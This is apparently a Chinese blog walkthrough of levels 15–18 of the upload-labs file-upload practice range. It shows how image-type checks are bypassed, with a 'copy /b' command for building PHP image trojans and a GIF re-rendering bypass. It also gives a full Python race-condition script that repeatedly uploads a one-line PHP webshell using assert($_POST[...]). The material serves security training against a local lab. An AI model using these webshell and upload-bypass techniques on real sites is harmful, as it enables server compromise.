天天看点

文件上传练习 —— upload-labs靶场(三)

0X00

文件上传练习 —— upload-labs靶场(一)

文件上传练习 —— upload-labs靶场(二)

0X01 Pass-15

第十五关还是一样要求上传图片马

文件上传练习 —— upload-labs靶场(三)

这一关会使用getimagesize()来检查是否为图片文件。

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

返回结果:

  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6

    = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 =

    XBM

  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:

    header(“Content-type: image/jpeg”);

源于菜鸟教程 https://www.runoob.com/php/php-getimagesize.html
文件上传练习 —— upload-labs靶场(三)

还是一样使用

copy 1.jpg /b + shell.php /a shell.jpg

制作图片马,上传成功,利用提供的文件包含漏洞即可成功利用。

这次插入的代码为phpinfo()函数,访问即可查看phpinfo。

文件上传练习 —— upload-labs靶场(三)

0X02 Pass-16

第十六关是利用exif_imagetype() 来进行检查,注意靶机需要开启php_exif模块

文件上传练习 —— upload-labs靶场(三)
exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。

这关也可以用相同方法绕过。

文件上传练习 —— upload-labs靶场(三)

0X03 Pass-17

第十七关上传的图片马会被重新渲染

文件上传练习 —— upload-labs靶场(三)

若是上传普通的图片马的话,被后台重新渲染之后就会失效。

这里我们可以先上传一张图片,然后将重新渲染过的图片与原来的图片进行对比,在没有改变的地方插入木马,这里可以利用burpsuite来进行对比。

这里的话最好不要使用jpg格式的图片,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败,一般是利用脚本来进行制作。而gif图片的特点是无损(修改图片后,图片质量几乎没有损失),不容易失败

文件上传练习 —— upload-labs靶场(三)

插入好几次才成功,害

文件上传练习 —— upload-labs靶场(三)
文件上传练习 —— upload-labs靶场(三)
文件上传练习 —— upload-labs靶场(三)

0X04 Pass-18

第十八关提示需要代码审计,那我们就来看看源码。

文件上传练习 —— upload-labs靶场(三)

emmmmmm,还真不会

文件上传练习 —— upload-labs靶场(三)

查阅资料,得知可以利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

#!/usr/bin/env python

# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
           
代码来源:https://github.com/LandGrey/upload-labs-writeup

继续阅读